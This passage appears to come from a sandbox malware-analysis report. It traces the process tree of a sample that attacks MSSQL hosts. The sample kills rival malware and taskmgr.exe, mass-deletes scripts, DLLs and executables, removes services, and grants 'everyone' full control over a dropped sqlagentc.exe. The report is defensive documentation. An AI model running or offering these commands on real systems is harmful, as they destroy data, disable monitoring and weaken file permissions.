  cmd /c del /f /a /q %ProgramFiles%\Microsoft Maker\OmdBase.exe
  2⤵
  PID:2072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Maker\OmdBase.exe
  2⤵
  PID:3460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft Maker\OmdBase.exe
  2⤵
  PID:5072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  PID:3756
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:3272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3176
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:5068
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im GthUdTask.exe
  2⤵
  PID:4284
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im GthUdTask.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4160
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:1824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:4304
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:2128
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  PID:4168
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:3796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3656
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:3164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im BthUdTask.exe
  2⤵
  PID:4184
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2132
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im BthUdTask.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:4704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:4396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:2556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:3792
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3884
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:3248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:5072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SvidaPctb.exe
  2⤵
  PID:3068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SvidaPctb.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3692
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:2004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1584
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im WavesSys.exe
  2⤵
  PID:3300
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WavesSys.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  PID:3448
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:2008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  PID:2532
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:1248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:644
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft StuSystem\System.exe
  2⤵
  PID:4180
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft StuSystem\System.exe
  2⤵
  PID:3328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft StuSystem\System.exe
  2⤵
  PID:1700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Nvdxgiwrap.exe
  2⤵
  PID:2624
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Nvdxgiwrap"
  2⤵
  - Executes a command shell one-liner
  PID:2440
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Nvdxgiwrap"
    3⤵
    - Launches sc.exe
    PID:1884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Nvdxgiwrap"
  2⤵
  PID:4324
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Nvdxgiwrap"
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Rsytvcem"
  2⤵
  - Executes a command shell one-liner
  PID:3508
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Rsytvcem"
    3⤵
    - Launches sc.exe
    PID:3164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Rsytvcem"
  2⤵
  PID:2424
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Rsytvcem"
    3⤵
    - Launches sc.exe
    PID:3700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Rsytvcp.exe
  2⤵
  - Executes a command shell one-liner
  PID:1084
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  PID:2848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  PID:4868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Systen64.exe
  2⤵
  - Executes a command shell one-liner
  PID:2432
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SystenApp\Systen64.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SystenApp\Systen64.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SystenApp\Systen64.exe
  2⤵
  PID:508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  PID:1400
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3932
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Help\spoolys.exe
  2⤵
  PID:2904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im lsma12.exe
  2⤵
  PID:2544
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\INF\aspnet\lsma12.exe
  2⤵
  PID:3608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  - Executes a command shell one-liner
  PID:3124
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  PID:3344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  PID:2468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sqlcmd.exe
  2⤵
  PID:2816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sqlcmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4756
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:1928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:1736
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:3604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2056
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:440
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4156
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  PID:4820
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1124
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3268
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im m6.bin.bin.exe
  2⤵
  PID:4708
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im m6.bin.bin.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im javaw.exe
  2⤵
  PID:1140
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im javaw.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im clsso.exe
  2⤵
  PID:3324
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im clsso.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  - Executes a command shell one-liner
  PID:4204
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4976
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:5068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:1080
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:3776
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:4396
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3716
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:2972
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  - Executes a command shell one-liner
  PID:4332
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4152
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  - Executes a command shell one-liner
  PID:3276
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:64
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  PID:3584
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  - Executes a command shell one-liner
  PID:3280
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sSqlManagement.exe
  2⤵
  PID:2032
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe
  2⤵
  PID:4064
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  PID:2272
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  PID:2252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  PID:1788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\*
  2⤵
  PID:2668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:4196
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.vbs
  2⤵
  PID:1356
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.dll
  2⤵
  PID:1944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.txt
  2⤵
  PID:1660
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.bat
  2⤵
  PID:2436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.json
  2⤵
  PID:1144
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.ini
  2⤵
  PID:4952
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:684
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\*.exe
  2⤵
  PID:3140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.vbs
  2⤵
  PID:3244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.dll
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.txt
  2⤵
  PID:732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.json
  2⤵
  PID:1928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.ini
  2⤵
  PID:5012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\*.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.vbs
  2⤵
  PID:3172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.dll
  2⤵
  PID:3920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.txt
  2⤵
  PID:4292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.bat
  2⤵
  PID:1840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.json
  2⤵
  PID:2896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.ini
  2⤵
  PID:5004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/*.exe
  2⤵
  PID:3312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  PID:4588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  PID:3668
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWA.exe
  2⤵
  PID:1980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1728
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWA.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWB.exe
  2⤵
  PID:1256
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4952
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWB.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWC.exe
  2⤵
  PID:4180
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWC.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENAC.exe
  2⤵
  - Executes a command shell one-liner
  PID:2280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3312
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENAC.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:2252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:2268
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:1824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:1484
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:3056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
  2⤵
  PID:2872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2668
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
    3⤵
    PID:344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:3804
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:4484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:4828
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:1688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3472
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:4888
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2128
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:1004
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:3796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:2108
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:4756
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:3444
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3172
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:2176
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:5040
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:3796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:2848
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:1660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
